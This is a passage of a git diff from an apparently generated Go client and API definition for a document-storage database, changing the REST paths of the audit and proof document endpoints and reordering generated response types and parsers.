Body []byte HTTPResponse *http.Response - JSON200 *ModelReplaceDocumentsResponse + JSON200 *ModelInsertDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ReplaceDocumentsResponse) Status() string { +func (r InsertDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2052,22 +2052,22 @@ func (r ReplaceDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ReplaceDocumentsResponse) StatusCode() int { +func (r InsertDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type SearchDocumentsResponse struct { +type DeleteDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelSearchDocumentsResponse + JSON200 *ModelDeleteDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r SearchDocumentsResponse) Status() string { +func (r DeleteDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2075,22 +2075,22 @@ func (r SearchDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r SearchDocumentsResponse) StatusCode() int { +func (r DeleteDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type AuditDocumentResponse struct { +type ReplaceDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelAuditDocumentResponse + JSON200 *ModelReplaceDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r AuditDocumentResponse) Status() string { +func (r ReplaceDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2098,22 +2098,22 @@ func (r AuditDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r AuditDocumentResponse) StatusCode() int { +func (r ReplaceDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type ProofDocumentResponse struct { +type SearchDocumentsResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelProofDocumentResponse + JSON200 *ModelSearchDocumentsResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r ProofDocumentResponse) Status() string { +func (r SearchDocumentsResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2121,7 +2121,7 @@ func (r ProofDocumentResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r ProofDocumentResponse) StatusCode() int { +func (r SearchDocumentsResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } @@ -2357,6 +2357,40 @@ func (c *ClientWithResponses) SearchDocumentsWithWithResponse(ctx context.Contex return ParseSearchDocumentsWithResponse(rsp) } +// AuditDocumentWithBodyWithResponse request with arbitrary body returning *AuditDocumentResponse +func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseAuditDocumentResponse(rsp) +} + +func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { + rsp, err := c.AuditDocument(ctx, collectionName, documentId, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseAuditDocumentResponse(rsp) +} + +// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse +func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseProofDocumentResponse(rsp) +} + +func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { + rsp, err := c.ProofDocument(ctx, collectionName, documentId, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseProofDocumentResponse(rsp) +} + // InsertDocumentsWithBodyWithResponse request with arbitrary body returning *InsertDocumentsResponse func (c *ClientWithResponses) InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) { rsp, err := c.InsertDocumentsWithBody(ctx, collectionName, contentType, body, reqEditors...) @@ -2425,40 +2459,6 @@ func (c *ClientWithResponses) SearchDocumentsWithResponse(ctx context.Context, c return ParseSearchDocumentsResponse(rsp) } -// AuditDocumentWithBodyWithResponse request with arbitrary body returning *AuditDocumentResponse -func (c *ClientWithResponses) AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuditDocumentResponse(rsp) -} - -func (c *ClientWithResponses) AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) { - rsp, err := c.AuditDocument(ctx, collectionName, documentId, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseAuditDocumentResponse(rsp) -} - -// ProofDocumentWithBodyWithResponse request with arbitrary body returning *ProofDocumentResponse -func (c *ClientWithResponses) ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocumentWithBody(ctx, collectionName, documentId, contentType, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseProofDocumentResponse(rsp) -} - -func (c *ClientWithResponses) ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) { - rsp, err := c.ProofDocument(ctx, collectionName, documentId, body, reqEditors...) - if err != nil { - return nil, err - } - return ParseProofDocumentResponse(rsp) -} - // DeleteIndexWithResponse request returning *DeleteIndexResponse func (c *ClientWithResponses) DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) { rsp, err := c.DeleteIndex(ctx, collectionName, params, reqEditors...) @@ -2678,22 +2678,22 @@ func ParseSearchDocumentsWithResponse(rsp *http.Response) (*SearchDocumentsWithR return response, nil } -// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call -func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { +// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call +func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &InsertDocumentsResponse{ + response := &AuditDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelInsertDocumentsResponse + var dest ModelAuditDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2711,22 +2711,22 @@ func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, return response, nil } -// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call -func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { +// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call +func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DeleteDocumentsResponse{ + response := &ProofDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDeleteDocumentsResponse + var dest ModelProofDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2744,22 +2744,22 @@ func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, return response, nil } -// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call -func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { +// ParseInsertDocumentsResponse parses an HTTP response from a InsertDocumentsWithResponse call +func ParseInsertDocumentsResponse(rsp *http.Response) (*InsertDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ReplaceDocumentsResponse{ + response := &InsertDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelReplaceDocumentsResponse + var dest ModelInsertDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2777,22 +2777,22 @@ func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsRespons return response, nil } -// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call -func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { +// ParseDeleteDocumentsResponse parses an HTTP response from a DeleteDocumentsWithResponse call +func ParseDeleteDocumentsResponse(rsp *http.Response) (*DeleteDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &SearchDocumentsResponse{ + response := &DeleteDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelSearchDocumentsResponse + var dest ModelDeleteDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2810,22 +2810,22 @@ func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, return response, nil } -// ParseAuditDocumentResponse parses an HTTP response from a AuditDocumentWithResponse call -func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, error) { +// ParseReplaceDocumentsResponse parses an HTTP response from a ReplaceDocumentsWithResponse call +func ParseReplaceDocumentsResponse(rsp *http.Response) (*ReplaceDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &AuditDocumentResponse{ + response := &ReplaceDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelAuditDocumentResponse + var dest ModelReplaceDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -2843,22 +2843,22 @@ func ParseAuditDocumentResponse(rsp *http.Response) (*AuditDocumentResponse, err return response, nil } -// ParseProofDocumentResponse parses an HTTP response from a ProofDocumentWithResponse call -func ParseProofDocumentResponse(rsp *http.Response) (*ProofDocumentResponse, error) { +// ParseSearchDocumentsResponse parses an HTTP response from a SearchDocumentsWithResponse call +func ParseSearchDocumentsResponse(rsp *http.Response) (*SearchDocumentsResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &ProofDocumentResponse{ + response := &SearchDocumentsResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelProofDocumentResponse + var dest ModelSearchDocumentsResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 6f51d5fcc7..8aa9cc3c43 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -148,14 +148,14 @@ ] } }, - "/collection/{collectionName}/documents": { - "put": { - "operationId": "InsertDocuments", + "/collection/{collectionName}/document/{documentId}/audit": { + "post": { + "operationId": "AuditDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelInsertDocumentsResponse" + "$ref": "#/definitions/modelAuditDocumentResponse" } }, "default": { @@ -172,12 +172,18 @@ "required": true, "type": "string" }, + { + "name": "documentId", + "in": "path", + "required": true, + "type": "string" + }, { "name": "body", "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelInsertDocumentsRequest" + "$ref": "#/definitions/modelAuditDocumentRequest" } } ], @@ -186,14 +192,14 @@ ] } }, - "/collection/{collectionName}/documents/{documentId}/audit": { + "/collection/{collectionName}/document/{documentId}/proof": { "post": { - "operationId": "AuditDocument", + "operationId": "ProofDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelAuditDocumentResponse" + "$ref": "#/definitions/modelProofDocumentResponse" } }, "default": { @@ -221,7 +227,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelAuditDocumentRequest" + "$ref": "#/definitions/modelProofDocumentRequest" } } ], @@ -230,14 +236,14 @@ ] } }, - "/collection/{collectionName}/documents/{documentId}/proof": { - "post": { - "operationId": "ProofDocument", + "/collection/{collectionName}/documents": { + "put": { + "operationId": "InsertDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelProofDocumentResponse" + "$ref": "#/definitions/modelInsertDocumentsResponse" } }, "default": { @@ -254,18 +260,12 @@ "required": true, "type": "string" }, - { - "name": "documentId", - "in": "path", - "required": true, - "type": "string" - }, { "name": "body", "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelProofDocumentRequest" + "$ref": "#/definitions/modelInsertDocumentsRequest" } } ], diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 5b5adfe9e5..650d9ba1d6 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -490,7 +490,7 @@ service DocumentService { rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) { option (google.api.http) = { - post: "/collection/{collectionName}/documents/{documentId}/audit" + post: "/collection/{collectionName}/document/{documentId}/audit" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -502,7 +502,7 @@ service DocumentService { rpc ProofDocument(ProofDocumentRequest) returns (ProofDocumentResponse) { option (google.api.http) = { - post: "/collection/{collectionName}/documents/{documentId}/proof" + post: "/collection/{collectionName}/document/{documentId}/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index f93f99b6eb..382919e784 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -2329,7 +2329,7 @@ var file_documents_proto_rawDesc = []byte{ 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, - 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa1, 0x10, 0x0a, + 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0x9f, 0x10, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, @@ -2438,40 +2438,40 @@ var file_documents_proto_rawDesc = []byte{ 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x3e, 0x22, 0x39, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x7b, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0xac, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x3e, 0x22, 0x39, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x7b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, + 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, - 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, - 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, - 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, - 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, - 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, + 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, + 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, + 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, + 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index a7a4ace569..02420d5d25 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -1616,9 +1616,9 @@ var ( pattern_DocumentService_SearchDocuments_1 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "documents", "search", "searchId"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "documents", "documentId", "audit"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "audit"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "documents", "documentId", "proof"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "proof"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( From bb6e571e4041c5477c3af653f4391e1ddcbe61fb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 15 May 2023 19:45:19 -0300 Subject: [PATCH 0552/1062] chore(embedded/document): use query limit when searching Signed-off-by: Jeronimo Irazabal --- 